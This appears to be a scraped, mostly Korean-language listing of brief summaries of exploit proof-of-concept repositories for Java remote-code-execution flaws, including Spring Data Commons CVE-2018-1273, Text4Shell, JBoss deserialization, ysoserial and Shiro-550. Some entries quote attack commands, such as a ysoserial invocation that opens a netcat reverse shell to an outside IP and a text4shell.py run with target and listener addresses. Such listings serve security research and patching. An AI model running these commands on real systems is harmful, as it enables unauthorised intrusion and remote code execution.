poc-cve-2018-1273

CVE-2018-1273 Spring Data Commons, 1.13부터 1.13.10, 2.0부터 2.0.5까지의 버전 및 지원이 중단된 구버전에서는 특수 요소의 부적절한 중립화로 인한 속성 바인더 취약점이 존재합니다. 인증되지 않은 원격 악의적인 사용자또는 공격자는 Spring Data REST 기반 HTTP 리소스 또는 Spring Data의 프로젝션 기반 요청 페이로드 바인딩에 대해 특별히 조작된 요청 파라미터를 제공하여 원격 코드 실행 공격을 유발할 수 있습니다. 더 많은 정보는 여기에서 확인할 수 있습니다. 실행 ...

cve-2018-1273

CVE-2018-1273 Spring Data Commons RCE 원격 명령 실행 취약점 사용법 root@kitploit: C:\Users\CTF\Desktoppython cve-2018-1273.py / / | / / /| |/ : touch /tmp/jas502n 405, May Have a CVE-2018-1273 vulnerability! CVE-2018-1273 Vulnerability Exit! Cmd : BurpSuite request: root@kitploit: POST /account HTTP/1.1 Host...

CVE-2022-42889-text4shell

CVE-2022-42889 일명 text4shell 최근 발견된 Apache Commons Text의 취약점에 대한 PoC @pwntester 제공: https://www.rapid7.com/blog/post/2022/10/17/cve-2022-42889-keep-calm-and-stop-saying-4shell/에서 언급된 바와 같이: 취약점은 StringSubstitutor 인터폴레이터 객체에 존재합니다. 인터폴레이터는 StringSubstitutor.createInterpolator 메서드로 생성되며,...

CVE-2022-42889-PoC

CVE-2022-42889 개념 증명 PoC 이는 취약점 CVE-2022-42889에 대한 개념 증명PoC입니다. 이 코드는 JavaScript 코드 195 + 324를 실행합니다. 취약할 경우 출력은 다음과 같아야 합니다: root@kitploit: PoC Output: 519 이를 실행하려면 다음이 필요합니다: JDK 11 이상 Maven 익스플로잇 문자열을 입력하라는 메시지가 나타나면 자신의 익스플로잇 문자열을 제공Enter 키를 눌러 문자열 입력하거나, Enter 키만 눌러 기본 익스플로잇 문자열...

riskootext4shell

riskootext4shell text4shell script for text coomons =1.10 CVE-2022-33980 Apache Commons Text 라이브러리는 Java JDK의 기본 기능에 대한 대체 라이브러리입니다. Apache Commons 1.10.0 미만 버전 CVE-2022-33980와 유사 root@kitploit: python3 text4shell.py -u http://192.168.245.111:8080/search?query= -i 192.168.111.186 -p 22 완화 조치 주요...

asf__commons-text_CVE-2022-42889_1-9

Apache Commons Text Apache Commons Text는 문자열string 작업을 위한 알고리즘에 중점을 둔 라이브러리입니다. 문서 자세한 정보는 Apache Commons Text 홈페이지에서 확인할 수 있습니다. Javadoc을 열람할 수 있습니다. Apache Commons Text 사용과 관련된 질문은 사용자 메일링 리스트에 게시해 주시기 바랍니다. 최신 릴리스는 어디서 받을 수 있나요? 소스와 바이너리는 다운로드 페이지에서 내려받을 수 있습니다. 또는 중앙 Maven 저장소에서 가져올 수 있습니다:...

CVE-2022-42889-text4shell

CVE-2022-42889-text4shell 🔥🔥🔥 Apache commons text - CVE-2022-42889 Text4Shell 개념 증명 익스플로잇. 세부 사항📃 CVE-2022-42889는 Apache Commons Text 버전 1.5부터 1.9까지 영향을 미칩니다. Commons Text 버전 1.10에서 패치되었습니다. 이 취약점은 관련 객체를 사용하는 다양한 소프트웨어 애플리케이션에 광범위한 영향을 미칠 가능성이 있는 오픈 소스 라이브러리 수준의 취약점이라는 점에서 Log4Shell과 비교되었습니다. 그러...

Jboss_JMXInvokerServlet_Deserialization_RCE

JbossJMXInvokerServletDeserializationRCE Burp Suite를 사용하여 Java 역직렬화 취약점 악용 0x01 Jboss JMXInvokerServlet 역직렬화 취약점 구축 테스트 환경: JBoss JMXInvokerServlet 역직렬화 취약점 취약점 원리: JBoss는 /invoker/JMXInvokerServlet 요청에서 사용자가 전달한 객체를 읽은 다음, Apache Commons Collections의 Gadget을 활용하여 임의 코드를 실행합니다. root@kitploit:...

cve-2022-42889

cve-2022-42889 cve-2022-42889 Text4Shell는 Apache Commons Text 버전 1.5부터 1.9까지 영향을 미칩니다. Commons Text 버전 1.10에서 패치되었습니다. 참고 자료: https://securitylab.github.com/advisories/GHSL-2022-018ApacheCommonsText/ https://github.com/karthikuj/cve-2022-42889-text4shell-docker...

Text4shell--Automated-exploit---CVE-2022-42889

Maven 설치 - maven-linux //자동 해킹용: 1../install.sh root@kitploit: 2../exploit.sh 3.애플리케이션을 제거하려면 ./stopapp.sh를 사용하세요. //수동 해킹용: 1. fat jar 생성을 위한 Maven 설치 root@kitploit: mvn clean install 2. Docker 빌드 root@kitploit: docker build --tag=text4shell . 3. Docker 실행 root@kitploit: docker run -p 80:8080...

commons-text-goat

Commons-Text Goat 이 웹앱은 CVE-2022-42889에 의도적으로 취약하도록 만들어진 것입니다. 내장 Jetty 서버와 Maven을 사용하여 8080 포트의 \api URL에서 수신 대기하는 서블릿을 시작합니다. 이 엔드포인트는 URL 매개변수 cmd를 허용합니다. 이 값은 $와 사이에 삽입된 후 StringSubstitutor 함수에 전달되며, 이 함수는 차례로 StringLookupFactory를 구현합니다. StringLookupFactory에는 신뢰할 수 없는 입력이 제공될 경우 쉽게 악용될 수 있는...

CVE-2022-42889

CVE-2022-42889 테스트 애플리케이션 이 저장소는 CVE-2022-42889에 취약한 Apache Commons Text 1.10을 사용하는 간단한 애플리케이션을 포함합니다. 애플리케이션 실행 DemoApplication.java의 nc 명령을 호스트 IP 주소로 바꾸세요. netcat으로 수신 대기: root@kitploit: $ nc -l -p 30000 취약한 도커 코드 빌드 및 실행 root@kitploit: docker build . -t vulnerable-app docker run vulnerable-ap...

ROOT-APP-MAVEN-CVE-2026-41716 CVE-2026-41716 in org.springframework.data:spring-data-commons - Patched by Root

Root has patched CVE-2026-41716 in the org.springframework.data:spring-data-commons package for Root:Maven. Multiple fixed versions available...

ROOT-APP-MAVEN-CVE-2026-41695 CVE-2026-41695 in org.springframework.data:spring-data-commons - Patched by Root

Root has patched CVE-2026-41695 in the org.springframework.data:spring-data-commons package for Root:Maven. Multiple fixed versions available...

CVE-2022-33980

CVE-2022-33980 CVE Apache Commons RCE url,dns,script 키워드를 사용하여 모든 서버에 연결할 수 있습니다...

ysoserial

ysoserial 안전하지 않은 Java 객체 역직렬화를 악용하는 페이로드를 생성하기 위한 개념 증명PoC 도구입니다. Description 원래 AppSecCali 2015 발표 "Marshalling Pickles: how deserializing objects will ruin your day" 의 일부로 공개되었으며, Apache Commons Collections3.x 및 4.x, Spring Beans/Core4.x, Groovy2.3.x용 gadget chain을 포함했습니다. 이후 JRE = 1.7u21 및 기타...

SHIRO-550

Shiro RememberMe 1.2.4 역직렬화 취약점（SHIRO-550） commons-collections-3.2.1.jar java -jar ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient "10.10.20.166:12345" |python exp.py java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections5 'nc -e /bin/sh 192.168.5.86 8989' n...

CVE-2022-42889-PoC

CVE-2022-42889（別名 Text4Shell）RCE 概念実証 Text4Shell は、Apache Commons Text ライブラリで発見された重大なソフトウェア脆弱性の通称です（CVE-2022-42889 を参照）。 このリポジトリは、この CVE を利用したリモートコード実行 （RCE）を実演するためのものです。 脆弱なコードは SpringBoot コントローラで使用されていますが、誤解しないでください。これは SpringBoot/Spring Security の問題ではありません。 RCE をテストする前に、Docker イメージをビルドします：...

CVE-2018-1273

CVE-2018-1273 Spring Data Commons, 버전 1.13부터 1.13.10, 2.0부터 2.0.5, 그리고 지원이 종료된 이전 버전들은 특수 요소를 적절히 무력화하지 않아 발생하는 속성 바인더 취약점을 포함하고 있습니다. 인증되지 않은 원격 악성 사용자또는 공격자는 Spring Data REST 백엔드 HTTP 리소스에 대해 특수하게 조작된 요청 파라미터를 제공하거나 Spring Data의 프로젝션 기반 요청 페이로드 바인딩을 사용하여 원격 코드 실행 공격을 수행할 수 있습니다. 자세한 정보는 여기를...

strutt-cve-2014-0114

CVE-2014-0114 - Struts 1의 취약점 POST 또는 GET 요청의 매개변수는 양식을 기준으로 설정될 속성properties으로 처리됩니다. 매개변수는 중첩된 객체로의 경로일 수 있습니다. Apache Struts 1.x는 Form Beans 에서 getClass를 호출하도록 조작될 수 있습니다. 예를 들어, 양식의 classloader 속성을 직접 조작할 수 있습니다: https://example.com/?class.classLoader.defaultAssertionStatus=true. 내부적으로 Apache...